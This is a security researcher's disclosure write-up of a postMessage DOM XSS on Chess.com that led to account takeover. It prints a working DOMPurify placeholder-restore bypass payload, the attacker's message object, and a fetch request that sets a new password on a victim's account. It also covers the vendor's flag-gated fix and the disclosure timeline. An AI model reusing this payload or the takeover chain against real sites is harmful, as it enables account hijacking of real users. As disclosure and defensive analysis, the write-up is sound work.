TL;DR
Chess.com had a window.postMessage handler that took a SHOW_MESSAGE_MODAL event from any origin and copied the attacker’s user object straight into modal state. The modal rendered user.username through innerHTML.
The string went through DOMPurify on the way, so that should have been the end of it. It wasn’t. The filter pulls chess diagram comments out of the input, sanitizes what is left, then pastes the original comments back in afterwards. Whatever DOMPurify decided stops mattering the moment that restore runs.
Because it ran in the authenticated origin, and because accounts created through Google or Apple can set a password without knowing the old one, this was an account takeover.
An attacker-hosted page opens chess.com/settings, posts the crafted SHOW_MESSAGE_MODAL message, and the payload runs in the chess.com origin.
The Handler
The event name and the store live in a 633 byte chunk:
// shared.589ee882.BJxDD4qED1.chunk.js
i = { Hide: `message-modal:hide`, Show: `SHOW_MESSAGE_MODAL` }
The listener is in another chunk. Here it is, cleaned up and minus the lazy-import machinery:
window.addEventListener(`message`, n => {
let { data: r } = n;
r?.event === l.Show && (
t = mountAsync(import(`./message-modal.7c99bc77.DWkgIKohg3.chunk.js`)),
Object.assign(store().user, r.user),
t.mount(mountTarget)
);
r?.event === l.Hide && (t?.unmount(), t = void 0);
});
The body is the whole problem. Object.assign(store().user, r.user) copies every key of the incoming user into the modal’s reactive state, and nothing checks where the message came from, what types the fields are, or which of them are the sender’s to set.
Breaking inside the handler and printing what arrived:

n.event is 'SHOW_MESSAGE_MODAL' and n.user is our object, intact, with isMessageable: false, notMessageableReasonCode: 2, and the username carrying the payload. A foreign page’s data is sitting in the handler’s scope, about to be assigned into component state.
The innerHTML sink
The modal has two states. If the target accepts messages you get a textarea. If not, you get an explanation of why not, and that explanation is built as HTML:
// message-modal.7c99bc77.DWkgIKohg3.chunk.js
Or = [`innerHTML`]
...
O(n).isMessageable
? S(``, !0)
: (D(), C(`div`, { key: 0, class: E(e.$style.restricted) }, [
Xe(`div`, { innerHTML: O(vr)(O(n).notMessageableReasonCode, O(n).username) }, null, 8, Or),
...
]))
On the restricted branch, the inner div’s content comes from vr(notMessageableReasonCode, username) and is assigned as HTML, not text. vr is a small switch over the reason code:
function vr(e, t) {
switch (e) {
case 1: return i(`You cannot send messages to Guest accounts.`);
case 2: return i(`%username% only accepts messages from friends.`,
{ "%username%": `<strong>${t}</strong>` });
case 3: return i(`You are blocked from sending %username% messages.`, ...);
}
}
Case 1 has no substitution. Cases 2 and 3 drop the username into a <strong> and hand the result to innerHTML. Set isMessageable: false and notMessageableReasonCode: 2 in the object you post, and your username is now being parsed as HTML.
Interpolating a username into markup and running it through a sanitizer is a normal enough thing to do. It works right up until the sanitizer hands back something it never actually sanitized.
Match, Replace, Repeat
The filter is xssFilter. Here is the reported form of it, out of common.DwbrK3-Lb0.chunk.js:

The mechanism is three steps. It lifts every &-diagramtype: comment out of the input into an array and leaves a __CHESS_DIAGRAM_PLACEHOLDER_n__ token in its place. It runs DOMPurify on the stripped string. Then it pastes the original comments back over the tokens:
i.replace(/__CHESS_DIAGRAM_PLACEHOLDER_(\d+)__/g, (e, n) => t[parseInt(n, 10)] || ``)
DOMPurify’s output is i. What the function returns is i with the raw comments written back into it. Sanitizing is not the last write to the string. The restore is, and the last writer wins.
Today the same logic sits in Ut, one of four functions that now wrap it. Ht chooses between Ut and a plain-DOMPurify path, Vt, behind a feature flag:
function Bt() {
return !!window?.chesscom?.features?.includes?.(`xss_filter_strip_diagram_comments`)
}
function Vt(e, t) {
// ...forbidTags handling, target/rel hook...
return Rt.sanitize(n, { USE_PROFILES: { html: !0 }, ADD_ATTR: [`target`] })
}
function Ht(e, t = {}) {
let n = typeof e == `string` ? e : String(e);
return Bt() ? Vt(n, t) : Ut(n, t)
}
function Ut(e, t) {
let n = [];
return Vt(
e.replace(/<!--[\s\S]*?&-diagramtype:[\s\S]*?-->/g,
e => `__CHESS_DIAGRAM_PLACEHOLDER_${n.push(e) - 1}__`),
t
).replace(/__CHESS_DIAGRAM_PLACEHOLDER_(\d+)__/g,
(e, t) => n[parseInt(t, 10)] || ``)
}
Vt is DOMPurify with the html profile and target allowed, and it returns exactly what DOMPurify returns. Ut is the extract-and-restore version, and it is still the default. Chess.com embeds board diagrams as HTML comments containing &-diagramtype:, and DOMPurify strips comments, so somebody needed a way to carry them across sanitizing. Lifting them out and pasting them back was that way.
This is not a DOMPurify bug, and it is not an old DOMPurify: 3.2.5, current at the time, called correctly. You do not even need the comment to survive as a comment. You only need the placeholder to land somewhere DOMPurify considers safe, and the text you paste back to be longer than the token it replaces.
Placeholder in, payload out
The username we send has two working parts: a fake diagram comment — <!--&-diagramtype:"><img src=x onerror=alert(document.domain)>--> — carrying the <img onerror>, and a <div> whose data-x attribute we have pre-filled with the exact placeholder token the filter uses.
aaa<!--&-diagramtype:"><img src=x onerror=alert(document.domain)>--><div data-x="__CHESS_DIAGRAM_PLACEHOLDER_0__"></div>aa
The first replace finds the comment, stores it in the array, and drops a token where it was. Now that token appears twice: once where the comment used to be, and once inside data-x, where we put it. That combined string is what reaches DOMPurify:
aaa__CHESS_DIAGRAM_PLACEHOLDER_0__<div data-x="__CHESS_DIAGRAM_PLACEHOLDER_0__"></div>aa
Text, a <div> with an ordinary data attribute, more text. Nothing there needs sanitizing, so DOMPurify passes it straight through:

e is our input, comment and all. n is e with the comment pulled out and a token in its place. i is what DOMPurify returned, byte for byte the same as n. The <img onerror> never reached the sanitizer; it was sitting in the array the whole time.
Now the restore fills both tokens back in with the raw comment. Into data-x it writes <!--&-diagramtype:"><img src=x onerror=alert(document.domain)>-->, and that comment carries a " right after &-diagramtype:. Inside a quoted attribute value, that quote closes data-x early, and everything after it is parsed as markup on the <div>:
<div data-x="aaa<!--&-diagramtype:"><img src=x onerror=alert(document.domain)>
That buried " is the whole point. The comment does two jobs: it carries the <img> past DOMPurify as inert comment text, and the quote inside it breaks out of the attribute the moment the token is restored.
The Takeover
The alert() only proves the code runs. What makes it matter is where it runs: https://www.chess.com, inside the victim’s logged-in session. The request we reported went to the password endpoint:
fetch("/rpc/chesscom.user_profile.v1.AccountService/SetUserNewPassword", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ newPassword: "..." })
});
Accounts that signed up through Google or Apple never had a Chess.com password, so the settings page offers a flow that does not ask for a previous one:

The page has a new-password field and a confirmation, and no field for the current one, these accounts never set a password, so there is nothing to enter. Sent from inside the origin with the victim’s cookies attached, that request sets a password of our choosing on the account, no old password required.
The rest is ordinary same-origin access: the victim’s inbox, their account and security settings, and anything else the app does for a logged-in user without re-authenticating.
The Fix
Chess.com added the origin check the handler was missing:
if (window.chesscom?.features?.includes(`postmessage_xss_hardening`)
&& n.origin !== window.location.origin) return;
If the message did not come from window.location.origin, the listener returns before it reaches Object.assign. A foreign page can still call postMessage, but its event is dropped instead of copied into modal state, which closes the delivery path the exploit relied on.
There is a catch. The check is gated behind a postmessage_xss_hardening feature flag: the features.includes(...) guard has to be true for the origin comparison to run at all. If the flag is not set, the && short-circuits, the handler does not return, and the message is processed exactly as before. So the protection only holds while that flag is on.
The sanitizer has the same shape now. Ht calls Vt, plain DOMPurify, when xss_filter_strip_diagram_comments is enabled, and falls back to Ut, the extract-and-restore version, when it is not. The fix is a flag away from the vulnerable path there too.
Disclosure Timeline
- April 27, 2026 — XENOPS reported the issue to the Chess.com security team as “Account Takeover via postMessage DOM XSS in Chess.com Message Modal.”
- Triage — Chess.com validated the report but closed it as a duplicate, citing an earlier report of the broader root cause: missing
event.originvalidation in postMessage handlers. - Follow-up — Chess.com confirmed that the
SHOW_MESSAGE_MODALvector and the DOMPurify placeholder-restore bypass were technically distinct from that root cause, and that the sanitizer bypass had not appeared in any prior report. - July 31, 2026 — XENOPS confirmed the reported injection vector was no longer reachable in production; the attack path as reported no longer reproduced.
- September 4, 2026 — This write-up was published, following remediation and coordination with Chess.com.
Vendor Response and Final Notes
Chess.com validated the vulnerability but classified the submission as a duplicate, consistent with a policy of assessing reports by broader root cause rather than by the specific handler or exploit path. In this case that root cause was the absence of event.origin validation across postMessage handlers.
The report still documented three elements Chess.com confirmed were distinct from any earlier submission: the SHOW_MESSAGE_MODAL delivery vector, the specific modal state transition required to reach the vulnerable rendering branch, and the DOMPurify placeholder-restore bypass. The sanitizer bypass, in particular, had not appeared in a prior report.
Under the duplicate classification no bounty was awarded, and Chess.com offered a complimentary one-month Diamond membership.
We consider the outcome mixed. The vulnerability was acknowledged and fixed, which is what matters most for user safety. It also shows how a strictly root-cause-based duplicate policy can under-weight exploit-chain research, where a new delivery vector or a sanitizer bypass materially changes exploitability. We appreciate that Chess.com confirmed the issue and remediated the reported attack path in production.
Testing was performed only against our own account; no account-modification requests were sent.